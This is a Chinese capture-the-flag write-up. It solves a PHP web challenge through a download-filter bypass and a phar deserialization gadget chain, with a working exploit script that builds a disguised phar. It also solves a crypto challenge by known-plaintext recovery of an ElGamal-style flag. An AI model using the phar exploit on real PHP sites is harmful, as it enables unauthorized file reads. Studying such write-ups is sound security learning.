Web

upload

通过download.php下载源码，可以通过f/ile绕过检测，`download.php·如下：

$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
echo("hacker!");
}
else{
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
echo ("hacker!");
}
else{
$name = safe_replace($name);
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
$filename = $name.'.php';
$dir ="./";
$down_host = $_SERVER['HTTP_HOST'].'/';
if(file_exists(__DIR__.'/'.$dir.$filename)){
$file = fopen ( $dir.$filename, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
Header ( "Content-Disposition: attachment; filename=" . $filename );
echo fread ( $file, filesize ( $dir . $filename ) );
fclose ( $file );
exit ();
}else{
echo ("file doesn't exist.");
}
}
if (preg_match('/flag/i', $name)){
echo ("hacker!");
}
}
}
}

观察到class.php，如下：

<?php

class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __toString()
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class S6ow
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->params[$key];
    }
    public function __call($name, $arguments)
    {
        if($this->{$name})
            $this->{$this->{$name}}($arguments);
    }
    public function file_get($value)
    {
        echo $this->file;
    }
}

class Sh0w
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = new Show('index.php');
        $this->str->source = $this->test;

    }
    public function __destruct()
    {
        $this->str->_show();
    }
}
?>

可以发现一条反序列化的利用链，这里需要熟悉php的各个魔术方法

Sh0w对象反序列化会调用__destruct()方法，然后执行$this->str->_show();
修改Sh0w对象中的$this->str指向S6ow对象
S6ow对象缺失_show()方法，所以会去调用__call($name, $arguments)，且__call的参数$name等于缺失的函数，$arguments为缺失函数的参数，在本题中即为"_show"和空
S6ow对象缺失$_show变量，所以会去调用__get($key)，且__get的参数$key等于所缺失的变量，在本题中即为"_show"，所以返回$params['_show']
修改S6ow对象的$params['_show']的值为"file_get"，所以最后__call会去执行file_get函数
修改S6ow对象的$file值为Show对象
因为打印了一个对象，所以会去执行Show对象的__toString方法
修改Show对象的$source的值为目标文件，在本题中即为"/flag"，就可以绕过检测去读取目标文件

然后发现file.php中没有过滤phar，所以我们根据phar反序列化去读取文件。
exp如下：

<?php
class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $this->source = 'flag';
    }
}
class S6ow
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->file=new Show();
        $this->params['_show']='file_get';
    }
}
class Sh0w
{
    public $test;
    public $str;
    public function __construct()
    {
        $this->str = new s6ow();
    }

}
$exception = new Sh0w();
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->stopBuffering();
?>

然后修改后缀为jpg上传，然后利用phar://即可去读取flag

PS:对魔术方法还是不熟悉，因为打过bytectf，所以一开始只知道__call，然后就做不下去了。后来搜了一下才发现了这么多神奇的方法。wtcl~

LOL

马师傅的payload没看懂，等看懂了再写

Crypto

CoCo

很简单，稍微改一下变量名称即可，这里推荐VScode编辑器，支持右键全局更改变量名，修改后的代码如下：

from Crypto.Util.number import *
from Crypto.Random.random import *
from flag import flag

a = getStrongPrime(1024)
b = getStrongPrime(1024)
c = getStrongPrime(1024)

def gcd(Co, CoCo):
    while CoCo: Co, CoCo = CoCo, Co % CoCo
    return Co

def pow(n, CoCo, CoCoCo):
    tmp = 1
    while CoCo != 0:
        if (CoCo & 1) == 1:
            tmp = (tmp * n) % CoCoCo
        CoCo >>= 1
        n = (n * n) % CoCoCo
    return tmp

d = pow(c, a, b)
while True:
    f = randint(1, 2 ** 512)
    if gcd(f, b - 1) == 1:
        break

g = pow(c, f, b)
m1 = bytes_to_long("CoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCo")
c1 = (m1 * pow(d, f, b)) % b
m2 = bytes_to_long(flag)
c2 = (m2 * pow(d, f, b)) % b
with open('cipher.txt', 'w') as f:
    f.write("g = " + str(g) + "\n")
    f.write("c = " + str(c) + "\n")
    f.write("c1 = " + str(c1) + "\n")
    f.write("b = " + str(b) + "\n")
    f.write("c2 = " + str(c2) + "\n")

显然payload如下：

from Crypto.Util.number import *
import gmpy2
c1 = 120085813769601903784459580746767828105716607333492124010803514777437504109
3314480098908749398589846666411398193799697140702207630931885519668306306393081
4229971997625822745064214196342518742963688059348095149840638006874740411588940
0485463839002674872020074254287490910994729347868122864760194135575038263365
b = 133694097868622092961596455982173439482901807533684907590429464542321832157
7240526845174998710738268587622977294804143061611134127418650991631525054473348
6309743493294072926960598641844353220894211950504363499027171719869419012347854
7503837269948205839761848366722796091382894026537012764323367229104988051357
c2 = 539133200104746143537713486952625539353610785177429427453591821528822047807
6920600547481863701020956142048028052302950937528653888606162159624917940772869
7515399046471231513536340506648832858695583318765423245104561512700887050932667
507358898646356134386213016528778706360147066411877832628237361011621917972
m1 = bytes_to_long(b"CoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCo")
tmp = c1*gmpy2.invert(m1,b)%b
flag = c2*gmpy2.invert(tmp,b)%b
print long_to_bytes(flag)